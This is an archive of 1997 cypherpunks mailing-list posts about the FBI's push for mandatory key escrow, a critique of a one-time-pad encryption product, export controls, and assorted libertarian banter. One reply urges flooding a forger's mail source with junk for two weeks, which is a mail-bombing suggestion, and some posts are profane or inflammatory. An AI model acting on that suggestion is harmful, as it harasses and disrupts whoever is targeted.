Thus US citizens and PRs were prohibited from owning gold anywhere on earth 
from 1933 to 1980.  Same with the rest (with numerous complications).

A student Visa holder is most assuredly not a PR and so would not be covered 
by these laws save to the extent that they cover all those present in the US.

DCF
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TwqoAUBn9rY=
=2UR3
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Thu, 4 Sep 1997 05:37:49 +0800
To: cypherpunks@toad.com
Subject: FBI calls for mandatory key escrow; Denning on export ctrls
Message-ID: <Pine.GSO.3.95.970903140843.17147A-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain



All encryption products sold or distributed in the U.S.
must have a key escrow backdoor "like an airbag in a car,"
law enforcement agents advised a Senate panel this
afternoon.

FBI Director Louis Freeh also told a Senate Judiciary
subcommittee that "network service providers should be
required to have some immediate decryption ability
available" permitting agents to readily descramble
encrypted messages that pass through their system.

This marks the most aggressive push to date for
mandatory domestic key escrow (or "key recovery"),
which means someone else other than the recipient can
decipher messages you send out. Now, the easiest way
to win such a political tussle in Washington is to
control the terms of the debate. And nobody
understands that rule better than Sen. Jon Kyl
(R-Arizona), chair of the Judiciary subcommittee on
technology, terrorism, and government information.

Kyl opened today's hearing not by saying its purpose
was to discuss crypto in a balanced manner, but that
he wanted "to explore how encryption is affecting the
way we deal with criminals, terrorists, and the
security needs of business." Then he talked at length
about "criminals and terrorists" using crypto, and
child pornographers "using encryption to hide
pornographic images of children that they transmit
across the Internet."

Kyl also stacked the three panels. Out of seven
witnesses, five were current or former law enforcement
agents. No privacy or civil liberties advocates
testified. Some companies including FedEx apparently
dropped out when told they'd have to pay lip service
to key escrow if they wanted to speak.

Dorothy Denning, a Georgetown University professor of
computer science, did testify. Kyl made a point of
asking her if she still supported key escrow systems
(two recent articles by Will Rodger and Simson
Garfinkel said she was changing her mind). "I think
key recovery offers a very attractive approach,"
Denning said. What about export controls? "In the
absence of any controls, the problem for law
enforcement would get worse," she replied.

But when Sen. Dianne Feinstein (D-Calif) asked if
Denning would support a *mandatory* key escrow system,
the computer scientist said she wouldn't. "No, because
we don't have a lot of experience we key recovery
systems... a lot of people are legitimately nervous."

(Keep in mind that although Feinstein supposedly
represents Silicon Valley, she's no friend of high
tech firms. She opposes lifting export controls; in
fact, she says that "nothing other than some form of
mandatory key recovery really does the job" of
preventing crime. Of course, Feinstein doesn't have a
clue. She talks about whether businesses would want "a
hard key or digital key or a key infrastructure." Yes,
folks, this is in fact meaningless blather.)

Marc Rotenberg, director of the Electronic Privacy
Information Center in Washington, DC, says, "Simply
stated, the Senate train is headed in the wrong
direction. But of course this doesn't answer the
question of what will ultimately be resolved by
Congress? There's a very popular measure in the House
right now that's heading in a different direction."

Rotenberg is talking about Rep. Bob Goodlatte's SAFE
bill, which is much more pro-business than S.909,
the McCain-Kerrey Senate bill that Kyl supports. Now,
S.909 doesn't mandate key recovery; it only strongly
encourages it by wielding the federal government's
purchasing power to jumpstart a key recovery
infrastructure.

But Kyl would go further. At a recent Heritage
Foundation roundtable on encryption, I asked him, "Why
not make key recovery technology mandatory -- after
all, terrorists, drug kingpins and other criminals
won't use it otherwise. Kyl's response? Not that it
would be a violation of Constitutional due process and
search and seizure protections or a bad idea. Instead,
he told me he simply didn't have enough votes...

-Declan





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Psycho Killer <pk@dev.null>
Date: Thu, 4 Sep 1997 08:38:01 +0800
To: Declan McCullagh <declan@well.com>
Subject: Re: DC cypherpunk soccer team?
In-Reply-To: <Pine.GSO.3.95.970903050450.27733D-100000@well.com>
Message-ID: <340DC513.325@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



Declan McCullagh wrote:
> 
> If you live in Washington, play soccer, and are a libertarian
> (anarcho-capitalists are also welcome), email me. The fall league is
> starting in two weeks.
> 
> The name of the team? "The Invisible Foot"

Declan,
  Please be advised that the "Psycho Killers" in Austin, Texas, have
already drafted Tim C. May. However, if we lose too many players in
trying to 'enforce' our 'right' to have him play for us, then we
may be open to trade negotiations.

Charles Whitman, KOTM






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Thu, 4 Sep 1997 03:52:22 +0800
To: pgp-users@joshua.rivertown.net
Subject: Re: [PGP-USERS] Crypto-logic US$1 million Challenge
In-Reply-To: <97090316550827/0002595870PK5EM@mcimail.com>
Message-ID: <199709031939.OAA29483@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <97090316550827/0002595870PK5EM@mcimail.com>, on 09/03/97 
   at 11:55 AM, Jeffrey Gold <0002595870@MCIMAIL.COM> said:

>Although it's not PGP, I thought this might be of interest.
>I've condensed a Wall Street Journal Article with info from
>the web page http://www.ultimateprivacy.com

>  A start-up company is offering a $1 million challenge. Crypto-
>Logic Corp. of Austin, Texas, claims to have created an encryption 
>system for electronic mail so foolproof that it can't be broken.  If
>someone can  figure out a special encrypted e-mail message  within a
>year, the company says it will pay a reward of $1 million.

>  Cryptologists agree that the decades-old encryption method   that
>Crypto-Logic is claiming to use -- called a "one-time pad" -- 
>is theoretically unbreakable. Each "pad" has a set of uniquely 
>random digital symbols that are coded to the actual message. 
>The recipient uses the same symbols to decrypt the message. 
>The pads are used only once.

>  Of course, the problem with any one-time pad is the distribution
>of multiple pads.  A new one is needed for each message.  Public-key
>cryptography (used by PGP) addresses this issue.  It is not clear
>how Crypto-Logic Corp. addresses the distribution issue.


ROTFLMAO!!!!!

What a sweet little scam they have going here. :)

While there product cost $99, which is not unreasonable for a security product of this nature, they charge $49 for the "OTP's" (I'll get to the OTP's later)!!!

Now they way they have this set-up is that for each person that you are communicating with requires a separate "OTP". The program comes with 2 "OTP's" and additional "OTP's" can be purchased for $49. So say you have 10 people you wish to communicate with you are talking almost $500 out the gate to get going!!! This is just silly.


Now to "OTP's". These are the things that snake-oil salesmen's dreams are made of. Here is how their sales pitch works (and i have seen many of them over the years):


1) OTP's are unbreakable
2) We use an OTP
3) Our program is unbreakable
4) You should use our program

I will address all three points of their sales pitch and show the flaws in it.

1) OTP's are unbreakable:

  To understand how one can make this claim (and it is true) on needs to understand what a OTP is and how it works.

A OPT (One Time Pad) is just a file of random numbers. That's it, nothing fancy here. To encrypt a message one takes the bits in the plaintext and an equal amount of bits from the OTP and XOR them together. The result is just another random file of bits. To get the plaintext back one takes the "encrypted" files and Xor's it with the same bits used the first time.

Quite simple but there is a catch:

  Your OTP must but TRULY RANDOM!! If there are any patterns in your "random" data you are dead in the water. The biggest flaw in products that claim to use OTP's is they use what is called a PRNG (pseudo random number generator). Unfortunately the data that PRNG's produce are not sufficiently "random" for use in OTP's. It has long been accepted in the field of cryptology that you *MUST* use a real world sample for random data, things like measuring the time intervals between click on a Geiger counter measuring background radiation.

A second catch:

  You must never, never reuse any of the bits from your OTP!!! As simple as this seems (after all this is why they call it an One Time Pad) there are programmers out there that fail to grasp this basic concept. Now AFAIK there is no pad reuse with this program. That's where their revenue stream is comming from charging you for the new pads!

So if you use truly random data (no PRNG's) and you never reuse bits then an OTP encrypted message is provably unbreakable.


2) We use OTP's

I have seen numerous claims by various "snake-oil" salesmen that their program uses an OTP only too see that they are using a PRNG to generate their "OTP". I even had one claim that it was ok to reuse his PRNG generated pad.

Now since the company provided no details on how they generate the OTP's who knows what they are doing.

3) Our program is unbreakable

Well if they are dotting all their I's and crossing all their T's when it comes to generating and using OTP's then yes the message is unbreakable.

But wait their program does not generate the OTP's you must buy them from the company!! This means that a 3rd party outside of you and the person you are communicating with has a copy of the pad!!! This is a big no-no in cryptology. Anyone who has access to the OTP can decrypt any message that was encrypted using it. What type of security do they have on site? Who has access to the OTP's?? How are they generated?? What are their policies if the government requests access to these OTP's?? All questions left unanswered by the company.

I must say that I seriously question the on-site security of the OTP's considering how the initial OTP's are sent to the customer, (drum roll please), the just MAIL them!!!!

This brings us to the third catch to using OTP's: How to exchange the pads.

Before the advent of Public Key Encryption this was the most daunting task in cryptology. How do you get the keys to the people who need them to decrypt the message??? With OTP's or any form of cryptology where the same key is used to encrypt and decrypt the message the user must find a "secure" channel for exchanging the keys. This is no different than a key to a house or a car, the same key is used to lock and unlock the door. Anyone who has a copy of the key can unlock the door. Need less to say you don't just send the key in the mail. Usually such exchanges are done in person or if this is not practical a "trusted" courier is used to exchange the key. Not very practical for every day use.


4) You should use our program

Consider the following:

- -- Unknown methods used for generation Otp's
- -- Customer unable to generate their own OTP's
- -- Unknown "on-site" security
- -- Otp's escrowed by company (they have a copy of your keys)
- -- Additional cost for each new key
- -- Obvious lack of security in mailing initial Otp's to customers
- -- No solution to the key exchange problem
- -- No source code for program

I would not use this program nor would I recommend it to anyone else. There are may other programs that provide overall better security than what this program ever can or ever will provide.

I will CC: the Cyberpunks & Coderpunks list as there may be others there who can better expand on this issue.


- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "David L. Sobel" <sobel@epic.org>
Date: Thu, 4 Sep 1997 02:59:40 +0800
To: Bill Stewart <cypherpunks@toad.com
Subject: Re: Clinton, Commerce, and Crypto scandal
In-Reply-To: <Pd+GYWt/DaNdTTMhZshxHQ==@bureau42.ml.org>
Message-ID: <v03007801b03365d53783@[204.91.138.239]>
MIME-Version: 1.0
Content-Type: text/plain




At 3:07 AM -0500 9/3/97, Bill Stewart wrote:

...

>Tim Maier's Insight article isn't all that bad, but he obviously doesn't have
>a good perspective on crypto technology, and unfortunately none of the
>web pages involved contain good email pointers to their authors :-)
>	(On the other hand, one of the references said Dave Sobel has copies.)

Through FOIA litigation, we received a redacted version of a Commerce/NSA
document titled "A Study of the International Market for Computer Software
with Encryption."  I subsequently learned that the index of documents in
Ira Sockowitz's safe includes both the unredacted and the redacted versions
of this document.  It is wholly coincidental that EPIC was interested in
the same material as was Sockowitz -- we requested this document and filed
suit for it before any of the events recounted in the Insight article
took place.  In fact, we posted the text of the Executive Summary of the
study at our site in January 1996:

http://www.epic.org/crypto/export_controls/commerce_study_summary.html

Subsequent litigation resulted in the release of a *less sanitized* version
of the entire study in June 1996.

David Sobel
Legal Counsel, EPIC






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Greg Broiles <gbroiles@netbox.com>
Date: Thu, 4 Sep 1997 06:07:19 +0800
To: cypherpunks@cyberpass.net
Subject: Crypto hearings via C-SPAN
Message-ID: <3.0.3.32.19970903145157.00897100@mail.io.com>
MIME-Version: 1.0
Content-Type: text/plain




The Senate Judiciary Subcommittee on Technology, Terrorism, and Government
Information held hearings this afternoon on encryption; audio is available
now at <http://www.c-span.org/>, I don't follow C-Span so I don't know how
long they'll make the recording available.

I haven't finished listening to the recording, but it so far has featured
Senator Leahy and Louis Freeh reminscing pleasantly about their
early-morning walks near Sen. Leahy's farm in rural Vermont, and Freeh
talking about how the situation prior to the enactment of Digital Telephony
looked bleak - but with the helpful intervention of Congress, a "balance"
was achieved between privacy and law enforcement which has made everyone
happy. Ahem.

Key escrow is being compared to airbags in cars; they're discussing forcing
crypto software authors to include key escrow in their software, and
allowing users to "choose" to use it or not. 


--
Greg Broiles                | US crypto export control policy in a nutshell:
gbroiles@netbox.com         | 
http://www.io.com/~gbroiles | Export jobs, not crypto.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sean Roach <roach_s@alph.swosu.edu>
Date: Thu, 4 Sep 1997 03:36:32 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Fate of Jews in America (fwd)
Message-ID: <199709031928.PAA27825@www.video-collage.com>
MIME-Version: 1.0
Content-Type: text/plain



At 12:01 AM 9/3/97 -0700, Tim May wrote:
>
...
>(It is true that the vast majority of Cypherpunks are basically
>libertarian, and hence are not keen on government programs to favor one
>race or sex or group over another. Jesse Jackson calls this point of view
>"racism." "Ending discrimination in favor of some races is racism," he
>claims. Most list members would reject this.)
>
>Besides, in a society with strong crypto, how are you or any government
>going to stop people from dealing with whomever they wish, on whatever
>basis they wish?
...
Another consideration is the government spin doctor.
With the Oklahoma City federal Building Bombing, the government had a new
bad guy.  Everyone despised this bad guy because this bad guy had been
responsible for the death of innocent children.
This bad guy was the mostly Anglo-Saxon Militant Extreme Right-Wingers.
By tying this group to the bombing, something that in many peoples opinion
they did perfectly.  They assured that people wouldn't associate with them,
and would prosecute them for any little thing.
They immediately tied these groups with gun ownership.  They also tied these
groups with white supremism.
Now if you own a gun, you must be a racist and a militia member, if your white.
If your black, you are already figured as a drug dealer, another bogeyman,
so they had that base covered.
By tying crypto into the same militia movement.  Not hard since several
posts refer to the second ammendment, (if you have to invoke the second
ammendment, you are obviously a militia sypathesizer/member/co-conspirator.)
Now that we are the first distributed dangerous militia, we must obviously
all be racists because everyone knows that militia members are all racist,
gun toting, wackos that run around the woods, shoot at cops and blow up
buildings.
Next stop, the distributed Ruby Ridge.  Where every prominent member who
does more than blow hot air will be rounded up, shot for looking funny, and
passed off as enemies of the state.  The rest of us will be left to blow hot
air to give credence to their claims.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Chip Mefford <cmefford@avwashington.com>
Date: Thu, 4 Sep 1997 04:21:19 +0800
To: Nate Sammons <nate@infidels.org>
Subject: Re: Big Brother is watching
In-Reply-To: <v03102800b0331277b5be@[207.79.65.77]>
Message-ID: <v03102803b0337a472102@[207.79.65.77]>
MIME-Version: 1.0
Content-Type: text/plain



Nate wrote;

Snip
>  They leave a cop in the front to
>eat donuts and watch TV, and in the back there is a video camera and a radar
>gun.  On the front driver's side mirror there's another camera.  When you
>drive by too fast, you get your picture taken (front and back) and a ticket
>gets mailed to you a week later.


Now THAT is interesting,

seems in Colo, they have some idea about the bill of rights, even though
the plunger-kicker is a doughnut whore, it is still present at the scene,
rather than being an unmanned Bot.

So the plunger-kicker, hypothetically could be crossexamined in court,
unlike the Bots of the Peoples Republik of Virginia.

Isn't there a wierd clause about being able to face your accuser??? Yeah, I
know, I live in a fantasy world.

luv
chipper







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Thu, 4 Sep 1997 07:01:45 +0800
To: Will Rodger <rodger@worldnet.att.net>
Subject: Re: FBI calls for mandatory key escrow; Denning on export ctrls
In-Reply-To: <3.0.3.32.19970903180515.00714940@postoffice.worldnet.att.net>
Message-ID: <Pine.GSO.3.95.970903153607.17147K-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain




On Wed, 3 Sep 1997, Will Rodger wrote:

> Yes, but  -  Freeh said all products needed to have the _option_ of a 
> key-escrow backdoor built in. The actual deployment of the system 
> should be at the users' discretion. Then again, Sen. Feinstein 
> suggested he needed mandatory key escrow since there was no way to 
> make a voluntary system work. Freeh seemed to warm to the idea of 
> making key escrow mandatory.

Will is right to say Feinstein was harping on mandatory key escrow the
entire time. I disagree, though, that Freeh "seemed to warm" to the idea;
it's been a wet dream of the FBI for the longest time. Towards the end of
his testimony he was perhaps less guarded in his calls for it, that's all.

As for the backdoor, Freeh was vague on what that would mean. At one point
he said it could be done in a mandatory or voluntary manner as long as it
got done. At another he talked about mandating it but giving users the
option to turn it off -- but then what's the use of mandating it? I've
attached some excerpts from the transcript below that might be helpful.

> Unfortunately, he added, mandatory key escrow isn't a possibility - 
> or foolproof, either.

I didn't catch him saying mandatory k.e. isn't a possibility, but he did
admit it wasn't foolproof. Check out the transcript.

-Declan

---

[Louis Freeh is talking]

Here we're not saying the key recovery standard X, Y, Z.  We're telling
the manufacturers that they need to have a feature that would allow
immediate decryption, and they can do that in the cheapest, most efficient
way that they can design.  And I think they can do that fairly easily.

[...]

There are a number of ways that that could be
implemented, but what we believe we need as a minimum
is a feature implemented and designed by the
manufacturers of the products and services here that
will allow law enforcement to have an immediate lawful
decryption of the communications in transit or the
stored data.  That could be done in a mandatory
manner.  It could be done in an involuntary manner.
But the key is that we would have the ability, once we
have the court order in hand, to get that information
and get it real-time without waiting for what it would
take for a supercomputer to give us, which is too long
for life or safety reasons.

[...]

Mandatory key recovery, to the extent that
it was implemented, would be the best law enforcement
solution.  I would not be candid with you if I told
you anything other than that.

[...]

I think we can design a system short of mandatory key
recovery which will work certainly better than no
system at all.  And I think the precepts of 909 and
some additions which could be added thereto will give
law enforcement at least a fighting chance, which is
really what we're asking for in this context, to keep
a technique which is very valuable. I don't think
we'll ever solve the problem 100 percent.  There are
loopholes now.  There will be loopholes even with a
mandatory key recovery system.  What we want to try to
do is design an infrastructure which will give us as
many access points for that court order as possible. 
And that's the end game that we're involved in right
now.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Nate Sammons <nate@infidels.org>
Date: Thu, 4 Sep 1997 04:28:50 +0800
To: Chip Mefford <cmefford@avwashington.com>
Subject: Re: Big Brother is watching
In-Reply-To: <v03102803b0337a472102@[207.79.65.77]>
Message-ID: <Pine.LNX.3.95.970903155835.15333E-100000@sulaco.proxicom.com>
MIME-Version: 1.0
Content-Type: text/plain



On Wed, 3 Sep 1997, Chip Mefford wrote:
> Nate wrote;
> 
> Snip
> >  They leave a cop in the front to
> >eat donuts and watch TV, and in the back there is a video camera and a radar
> >gun.  On the front driver's side mirror there's another camera.  When you
> >drive by too fast, you get your picture taken (front and back) and a ticket
> >gets mailed to you a week later.
> 
> 
> Now THAT is interesting,
> 
> seems in Colo, they have some idea about the bill of rights, even though
> the plunger-kicker is a doughnut whore, it is still present at the scene,
> rather than being an unmanned Bot.
> 
> So the plunger-kicker, hypothetically could be crossexamined in court,
> unlike the Bots of the Peoples Republik of Virginia.
> 
> Isn't there a wierd clause about being able to face your accuser??? Yeah, I
> know, I live in a fantasy world.
> 
> luv
> chipper
> 

Yes... in CO you can take them to court, and if the cop doesn't show up, you
get off free.  I dunno about VA (just moved here 2 months ago).

In CO, you're supposed to be able to ask the cop if you can see the radar
gun that clocked you, and if it's been cleared or the cop won't show it to
you, you cannot be ticketed.  By law, the cop *must* have a visual estimate
of your speed, and a clocked speed on a gun of some kind (a friend of mine is
a Sheriff in southern CO), but they apparently don't tell that to anyone.

-nate






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: iang@cs.berkeley.edu (Ian Goldberg)
Date: Thu, 4 Sep 1997 00:25:00 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Things we should be working on...
In-Reply-To: <v03102811b032245d2d79@[207.167.93.63]>
Message-ID: <5uk1uc$jso$1@abraham.cs.berkeley.edu>
MIME-Version: 1.0
Content-Type: text/plain



In article <199709022216.XAA00915@server.test.net>,
Adam Back  <aba@dcs.ex.ac.uk> wrote:
>
>Tim May <tcmay@got.net> writes:
>> One more question. Could you tell us which things you are talking about
>> here, which things you returned to Canada to implement?
>
>I can't see that export controls are much of a big deal for freeware
>cypherpunk software ... just publish it on a US site with whatever
>access controls you fancy.  It'll make it's way out of the country in
>a few minutes and end up on replay.com, or one of the automated
>mirrors of export control sites at ftp://idea.sec.dsi.unimi.it/pub/ or
>where ever.
>
>It's not as if you're trying to sell it, or are a corporation worrying
>about stepping on toes at NSA Inc. 
>
>> If you are actually going to Canada to release products, this might be even
>> more interesting than either the Junger or Bernstein cases. Of course, if
>> you discuss this openly, you may be inviting repercussions.
>
>Just release it in the US.  Lets someone else do the export.

I'm not primarily talking about _products_, here; I'm not selling stuff.
I'm just trying to publish!  Part of my research (which focuses on computer
security) involves (surprise) building secure systems or breaking insecure
ones.  Where this involves cryptography or cryptanalysis, I am prohibited
from publishing these systems on the Net, from my homepage (and I don't
_want_ to put access control on my homepage).

To answer Tim: for example, when I was in Canada last, I wrote Top Gun ssh
(secure shell for the Pilot) from the ground up.  It would be hard to
understand how this could be a violation of US export regs, when nothing
involved ever _entered_, let alone was _exported_ from, the US.

I do understand that US citizens and Permanent Residents are prohibited
from giving crypto to foreigners even when they are outside of the US,
but I'm neither of those.  The BXA _could_ try the old "let's tax all
foreigners living abroad" tactic, of course...

   - Ian





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Conor Lillis <ConorL@flexicom.ie>
Date: Thu, 4 Sep 1997 00:16:04 +0800
To: "'cypherpunks@toad.com>
Subject: RE: Europe puts pressure on FCC over accounting rate moves
Message-ID: <c=US%a=_%p=Flexicom_Systems%l=VALHALLA-970903155138Z-618@valhalla.flexicom.ie>
MIME-Version: 1.0
Content-Type: text/plain



Check the mail headers to see where it originated from ....., and then
blast it with the greatest pile of trash you have, for about a
fortnight.

>----------
>From: 	John Young[SMTP:jya@pipeline.com]
>Sent: 	03 September 1997 15:36
>To: 	cypherpunks@toad.com
>Subject: 	Re: Europe puts pressure on FCC over accounting rate moves
>
>So-called John Young wrote:
>>Tim May wrote:
>
>>Announcing Black-and-WhiteNet (256-Gray, plaid, checkered, houndstoothed) 
>>Op Center (B&WOC(256-GPC-fang) which will minutely trivialize the most 
>
>Not that it matters, but this is not mine. But not sure how to prove it,
>probably
>best to not try to be serious and thereby reify parody self-parody,
>self-parody, 
>self-parody.
>
>





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Thu, 4 Sep 1997 08:46:10 +0800
To: cypherpunks@Algebra.COM
Subject: Re: FBI calls for mandatory key escrow; Denning on export ctrls (fwd)
Message-ID: <Pine.3.89.9709031718.A18984-0100000@netcom2>
MIME-Version: 1.0
Content-Type: text/plain



Sometimes these guys can still surprise even me. That statement below is 
about as blatant as it gets:

[Freeh]
There are a number of ways that that could be
implemented, but what we believe we need as a minimum
is a feature implemented and designed by the
manufacturers of the products and services here that
will allow law enforcement to have an immediate lawful
decryption of the communications in transit or the
stored data.  That could be done in a mandatory
manner.  It could be done in an involuntary manner.
But the key is that we have the ability.
--------------------------------------------------------------


Let me get this straight: they need *as a minimum* instant access to all 
cleartext. So what is the "more than minimum" they truly desire?

And the two alternatives Freeh proposes to obtain this *minimum* are 
either "mandatory" or "involuntary". What a choice!

--Lucky





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Will Rodger <rodger@worldnet.att.net>
Date: Thu, 4 Sep 1997 06:23:39 +0800
To: cypherpunks@toad.com
Subject: Re: FBI calls for mandatory key escrow; Denning on export ctrls
In-Reply-To: <Pine.GSO.3.95.970903140843.17147A-100000@well.com>
Message-ID: <3.0.3.32.19970903180515.00714940@postoffice.worldnet.att.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

At 09:13 PM 9/3/97 +0000, you wrote:
>
>All encryption products sold or distributed in the U.S.
>must have a key escrow backdoor "like an airbag in a car,"
>law enforcement agents advised a Senate panel this
>afternoon.

Yes, but  -  Freeh said all products needed to have the _option_ of a 
key-escrow backdoor built in. The actual deployment of the system 
should be at the users' discretion. Then again, Sen. Feinstein 
suggested he needed mandatory key escrow since there was no way to 
make a voluntary system work. Freeh seemed to warm to the idea of 
making key escrow mandatory.

"Mandatory key escrow would the best solution - I have to be candid 
with you on that," he said. 

Unfortunately, he added, mandatory key escrow isn't a possibility - 
or foolproof, either.


-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQEVAwUBNA3e/EcByjT5n+LZAQGZEAgAoKI4lcelu7DFrA2hmpKIpdSo23oXVL0g
Wbr6v6hG/QFi8hehtU2kowZkBBT5Ztx5eTRjsEEnWebM5ck/xLkvKXAMIPyoU8Gy
YDKyKDWqBDp0pqe8sr5ZPMRpu0VZobcUrdcoTQBcZYDIrmFSnvhiEZy1gmfgKvac
Ys1BlsnfcofEj41voj0Uy+acAjdEEkm7UMqniOoF6/bLD2FmLSMXMm9aXdS+UoJy
PJS+Cyc9ZrELA/jCD7hiM+5iYTD18ZU9rrZTBnkyrQYzmNFt0Y3DfyFuc5GUhQ99
Z1YZRXXCWm6nPa1wWthskbd3X6Z4uUHwLm92F3yl29Q10+r98Wmh1g==
=sOfC
-----END PGP SIGNATURE-----

Will Rodger                                           Voice: +1 202-408-7027 
Washington Bureau Chief                        Fax: +1 202-789-2036
Inter@ctive Week                    http://www.interactiveweek.com
A Ziff-Davis Publication            
   PGP 2.6.2: D83D 0095 299C 2505 25FA 93FE DDF6 9B5F






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Damaged Justice <frogfarm@yakko.cs.wmich.edu>
Date: Thu, 4 Sep 1997 06:27:07 +0800
To: cypherpunks@Algebra.COM
Subject: Unlicensed net.psychotherapy
Message-ID: <199709032214.SAA26283@yakko.cs.wmich.edu>
MIME-Version: 1.0
Content-Type: text



   
[somewhat snipped from raw lynx dump]

   Daily Double Scoop Graphic
   Just enough Net news.
   
   By John Motavalli
   
   Is Psychotherapy On The Net Legal?
   
   HOW DOES ONE OFFER PSYCHOLOGICAL HELP ONLINE? Very cautiously.
   
   The issue of whether the practice of psychology or psychiatry online
   is legal still appears to be a bit unclear. Psychologists have to be
   licensed to practice in each state. If they're doing psychotherapy
   over the Internet, and they're offering therapy to people in states
   where they're not licensed, are they breaking the law?
   
   Sacramento psychologist Ronald L. Mann, Ph.D., has a [8]site, allowing
   a visitor to "e-mail a question (about anything from relationships to
   career changes)." This service costs you $20 a question. Dr. Mann, who
   is licensed in California only, said he's not breaking the law because
   he is not offering psychotherapy online.
   
   "Technically, psychotherapy is about exploring unconscious thoughts
   and feelings and making interpretations about these earlier memories,
   feelings, and linking them to present circumstances," Mann said. "I'm
   uncomfortable (professionally and personally) doing psychotherapy on
   the Internet. I think people need a personal face-to-face relationship
   that will provide emotional support when they get into intense
   powerful emotional material. I can't offer that through e-mail. What I
   can offer is good sound educational advice and point them in a good
   direction."
   
   Doug Fizel, deputy director of public affairs at the [9]American
   Psychological Association in Washington, D.C., said the question of
   the legality of online psychiatry is under study. "That really has not
   been worked out yet within the APA," he said. "It does really raise a
   lot of good questions, as to whether someone in California can legally
   offer therapy to someone in New York. You also have to ask whether
   someone can truly enter into a genuine therapeutic relationship
   online."
   
   Mann noted a recent correspondence he had with a young man who has
   some personal problems. "He is in college, and he has very poor
   self-esteem. He's really anxious in his relationships with other
   people, he has trouble sustaining relationships. We talked (by e-mail)
   about what it takes to have comfortable relationships with other
   people, and early childhood issues."
   
   I said this sounded like psychotherapy. "I know it's not
   psychotherapy," Mann replied. "I could have said, 'Why don't we do
   this [a treatment process]. I didn't. I actually think psychotherapy
   wouldn't work very well via e-mail."
   
   Adds Fizel, "It's more a question of ethical practice -- the
   difference between law (which a state would determine) and ethical
   practice (determined by an organization like ours)." He concludes that
   "So far, the questions have been raised, but the answers haven't been
   found."
  
 
   8. http://www.ronmann.com/
   9. http://www.apa.org/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TruthMonger <tm@dev.null>
Date: Thu, 4 Sep 1997 08:44:50 +0800
To: cypherpunks@toad.com
Subject: Re: FBI calls for mandatory key escrow; Denning on export ctrls
In-Reply-To: <Pine.GSO.3.95.970903140843.17147A-100000@well.com>
Message-ID: <340DFD85.56C7@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



Declan McCullagh wrote:
> 
> All encryption products sold or distributed in the U.S.
> must have a key escrow backdoor "like an airbag in a car,"
> law enforcement agents advised a Senate panel this
> afternoon.

  I must have not been given the proper ballots when I voted. I didn't
see the FBI or any other LEA on *my* ballot. If these people are going
to be running the country, and making the decisions as to what does and
does not constitute threats to the citizens and the country and the
world, shouldn't we have some say in who they are?

> Kyl opened today's hearing not by saying its purpose
> was to discuss crypto in a balanced manner, but that
> he wanted "to explore how encryption is affecting the
> way we deal with criminals, terrorists, and the
> security needs of business." 

  Yoo-hoo! Over here! Yoo-hoo! It's the CITIZENS! We still exist!

> Then he talked at length
> about "criminals and terrorists" using crypto, and
> child pornographers "using encryption to hide
> pornographic images of children that they transmit
> across the Internet."

  If we imprison more of our citizen-units than most dictatorships, then
who the fuck are we imprisoning?
  Are we *not* imprisoning criminals, terrorists and child pornographers
and other scum? What percentage of the population needs to consist of
LEA agents, and what percentage of the population must we imprison in
order to put away criminals, terrorists and child pornographers?
  50%?...80%...100%?

  > Kyl also stacked the three panels. Out of seven
> witnesses, five were current or former law enforcement
> agents. No privacy or civil liberties advocates
> testified.

  That's right. The correct answer is 71% LEA agents, and
100% of the citizens in prison.
  I hate to support this approach to law enforcement, but if the people
in charge of the safety of the nation and its citizens cannot prevent
criminals, terrorists and child pornographers from running rampant with
the mountains of laws and technology currently at their fingertips, then
I guess we'll just have to pass more laws and put all munitions and
privacy technology in the hands of the LEA's.

  Besides, the citizen-units will be 'happier' in prison, where they can
get the really *good* drugs and indulge in anal sex without fear of
imprisonment.

TruthMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Thu, 4 Sep 1997 09:23:00 +0800
To: cypherpunks@Algebra.COM
Subject: Re: DC cypherpunk soccer team?
In-Reply-To: <Pine.GSO.3.95.970903050450.27733D-100000@well.com>
Message-ID: <v03102806b033bafcfe9d@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 1:14 PM -0700 9/3/97, Psycho Killer wrote:
>Declan McCullagh wrote:
>>
>> If you live in Washington, play soccer, and are a libertarian
>> (anarcho-capitalists are also welcome), email me. The fall league is
>> starting in two weeks.
>>
>> The name of the team? "The Invisible Foot"
>
>Declan,
>  Please be advised that the "Psycho Killers" in Austin, Texas, have
